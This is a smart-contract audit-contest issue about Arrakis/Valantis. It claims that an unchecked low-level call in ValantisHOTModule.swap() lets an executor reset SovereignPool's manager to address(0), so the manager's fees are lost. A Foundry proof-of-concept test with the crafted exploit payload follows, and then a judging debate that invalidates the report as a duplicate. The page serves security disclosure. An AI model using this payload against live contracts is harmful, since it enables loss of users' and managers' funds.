juaan - When the poolManager is changed to address(0), the manager fees are permanently lost

[sherlock-admin4]

juaan

high

When the poolManager is changed to address(0), the manager fees are permanently lost

Summary

See detail

Vulnerability Detail

The SovereignPool contract has a function setPoolManager which allows the existing poolManager to change the poolManager of the pool.

function setPoolManager(address _manager) external override onlyPoolManager nonReentrant {
        poolManager = _manager;

        if (_manager == address(0)) {
            poolManagerFeeBips = 0;
            // It will be assumed pool is not going to contribute anything to protocol fees.
            _claimPoolManagerFees(0, 0, msg.sender);
            emit PoolManagerFeeSet(0);
        }

        emit PoolManagerSet(_manager);
    }

They can change it to address(0) , and in this case the pool manager fees are claimed (as seen in the above snippet)

The poolManager is a ValantisHOTModule, and the ONLY WAY to call setPoolManager from a ValantisHOTModule would be via ValantisHOTModule.swap() since it makes a low level call here, and that call can be directed to pool.setPoolManager

However, the issue is that the pool manager fees are claimed to msg.sender which is the ValantisHOTModule and not the ArrakisStandardManager. Then, these fees will be re-deposited to the pool in the flow of ValantisHOTModule.swap() , so the funds will not be obtainable by the ArrakisStandardManager .

(This fund loss is demonstrated and asserted in the PoC)

Impact

There is only one way to call setPoolManager from the ValantisHOTModule, but this leads to permanently lost manager fees.

Fees which are meant for the Arrakis manager are re-deposited into the pool and never claimable by the manager.

Proof of Concept

Here is a coded proof of concept demonstrating the vulnerability in action.

To run it, add the following code to a new file within the arrakis-modular/test/integration directory. Then run forge test --mt test_changePoolManager_toZeroAddress in the terminal.

Foundry test

```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19; // Foundry Imports import {console} from "forge-std/console.sol"; import {Vm} from "forge-std/Vm.sol"; import {Test} from "forge-std/Test.sol"; // Arrakis Imports import {IArrakisMetaVaultPublic} from "../../src/interfaces/IArrakisMetaVaultPublic.sol"; import {IArrakisMetaVault} from "../../src/interfaces/IArrakisMetaVault.sol"; import {IArrakisStandardManager} from "../../src/interfaces/IArrakisStandardManager.sol"; // Valantis Imports import {IValantisHOTModule} from "../../src/interfaces/IValantisHOTModule.sol"; import {SovereignPool} from "../../lib/valantis-hot/lib/valantis-core/src/pools/SovereignPool.sol"; import {HOT} from "@valantis-hot/contracts/HOT.sol"; // Base Test import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol"; contract PoC_ChangePoolManager_ToZeroAddress is ValantisIntegrationPublicTest { address attacker; address rec; function test_changePoolManager_toZeroAddress() public { rec = makeAddr("rec"); attacker = makeAddr("attacker"); address m = address(IArrakisMetaVault(vault).module()); assertEq(pool.poolManager(), m); deal(address(token0), rec, init0); // 2000e6 (0: USDC) deal(address(token1), rec, init1); // 1e18 (1: WETH) //@e user mints from meta vault vm.startPrank(rec); token0.approve(m, init0); token1.approve(m, init1); IArrakisMetaVaultPublic(vault).mint(1e18, rec); vm.stopPrank(); uint256 FEE_AMOUNT_0 = 1 wei; uint256 FEE_AMOUNT_1 = 1 wei; //@e Simulating 1 wei of fees in the `SovereignPool` vm.store(address(pool), bytes32(uint(5)), bytes32(FEE_AMOUNT_0)); vm.store(address(pool), bytes32(uint(6)), bytes32(FEE_AMOUNT_1)); // Sending the fee to the pool deal(address(token0), address(pool), token0.balanceOf(address(pool)) + FEE_AMOUNT_0); deal(address(token1), address(pool), token1.balanceOf(address(pool)) + FEE_AMOUNT_1); bool zeroForOne = false; uint256 amountIn = 1; // Using small values since we are not actually swapping anything uint256 expectedMinReturn = 1; //uint256 lowestRatio = FullMath.mulDiv(IOracleWrapper(oracle).getPrice1(), 1e6 - IValantisHOTModule(m).maxSlippage(), 1e6); //uint256 lowest_expectedMinReturn = 1+ FullMath.mulDiv(lowestRatio, amountIn, 10 ** ERC20(token1).decimals()); bytes memory payload = abi.encodeWithSelector( SovereignPool.setPoolManager.selector, address(0) // new poolmanager ); bytes memory data = abi.encodeWithSelector( IValantisHOTModule.swap.selector, zeroForOne, expectedMinReturn, amountIn, address(pool), 0, //note: this 0,0 lets us skip the checks in `HOT::_checkSpotPriceRange` during depositLiquidity 0, payload ); bytes[] memory datas = new bytes[](1); datas[0] = data; (uint256 reserves0Before, uint256 reserves1Before) = pool.getReserves(); // Execute the transaction vm.prank(executor); IArrakisStandardManager(manager).rebalance(vault, datas); (uint256 reserves0After, uint256 reserves1After) = pool.getReserves(); assertEq(pool.poolManager(), address(0)); // Assert that fees meant for the manager were re-deposited assertEq(reserves0After, reserves0Before + FEE_AMOUNT_0); assertEq(reserves1After, reserves1Before + FEE_AMOUNT_1); // Assert that the remaining fees is 0 (uint256 fee0, uint256 fee1) = pool.getPoolManagerFees(); assertEq(fee0, 0); assertEq(fee1, 0); } } ```

Code Snippet

https://github.com/ValantisLabs/valantis-core/blob/e377e7eca375f398769f92e99f2d86232b4c1bff/src/pools/SovereignPool.sol#L452-L468

Tool used

Manual Review

Recommendation

[cu5t0mPeo]

The issue should be attributed to the call function in the module not being validated.

[cu5t0mPeo]

And it should not be reported as a primary issue. The real cause of this problem is that the router can be arbitrarily configured without restrictions on callable functions.

[ADK0010]

@cu5t0mPeo isn't the SovereignPool contract out of scope? Why should we care about what the SovereignPool#setPoolManager is doing in the first place .

[IWildSniperI]

so why are we assuming that the manager is going to get changes through the call sequence you provided setPoolManager() without calling the permissionless withdrawManagerBalance() and who is supposed to put the manager to address 0? the manager? now he is hurting him self? now this is invalid due to the quoted sherlock rules?

no ? not the manager changing the manager to address 0? he is malicious executor? no such an attack path is described and no mentions about such attack quoting this sherlock rule here

even at best somehow this is valid for the story of malicious router call then this would be grouped to malicious router calls issues quoting this from sherlock rules

the root cause would be in this case un verified rebalance payloud

[cu5t0mPeo]

@IWildSniperI Hey, this issue clearly describes calling setPoolManager within the swap function and identifies it as the only way.

[cu5t0mPeo]

@IWildSniperI But the overall quality of the report is poor, so I don't consider this a best report.

[cu5t0mPeo]

@ADK0010 SovereignPool is not within the audit scope but is part of the Arrakis project. However, the audit scope involves interactions with SovereignPool and will impact SovereignPool to some extent, so this issue does not exceed the scope.

[IWildSniperI]

@cu5t0mPeo

@IWildSniperI Hey, this issue clearly describes calling setPoolManager within the swap function and identifies it as the only way. then yes as i said this is just a dup of malicious of malicious executor payload

wished he explicitly explained the malicious executor part any way

[IWildSniperI]

i would say this is dup to the same issue which is this

malicious payload with not checked _router call either this is used to gain leverage to the system or to steal funds

cause either way this specific low level call is the Root Cause

[CergyK]

Escalate

This issue should be marked invalid since it is pertaining to SovereignPool which is not in scope.

The duplicate issue #8 by the same author explains the full attack path, and is correct, and thus should be the only report selected for this class of issue.

The severity for this issue should be medium though since it assumes a malicious executor (RESTRICTED role).

[sherlock-admin3]

Escalate

This issue should be marked invalid since it is pertaining to SovereignPool which is not in scope.

The duplicate issue #8 by the same author explains the full attack path, and is correct, and thus should be the only report selected for this class of issue.

The severity for this issue should be medium though since it assumes a malicious executor (RESTRICTED role).

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[0xjuaan]

While I agree with @CergyK that the duplicate issue #8 explains the issue better, the severity should remain high.

Nowhere in the sherlock rules does it state that fund loss due to restricted roles should be medium and not high.

The rules state that an issue can be considered high severity if it achieves:

Definite loss of funds without (extensive) limitations of external conditions.

Clearly this one meets the above criteria, since all the manager fees collected are permanently lost. Hence it should be high severity.

[WangSecurity]

Firstly, @IWildSniperI you quoted the wrong rules, this contest uses the old ones. Each contest page has the appropriate rules commit hash (see here in the section with nSLOC, start and end dates).

Secondly, I agree with this escalation, planning to accept it and invalidate this report, leaving #8 is valid. #27 is a different family. The severity will remain high since there are no extensive external limitations, even though the attacker has to have executor role.

[WangSecurity]

Result: Invalid Has duplicates

[sherlock-admin2]

Escalations have been resolved successfully!

Escalation status:

• CergyK: accepted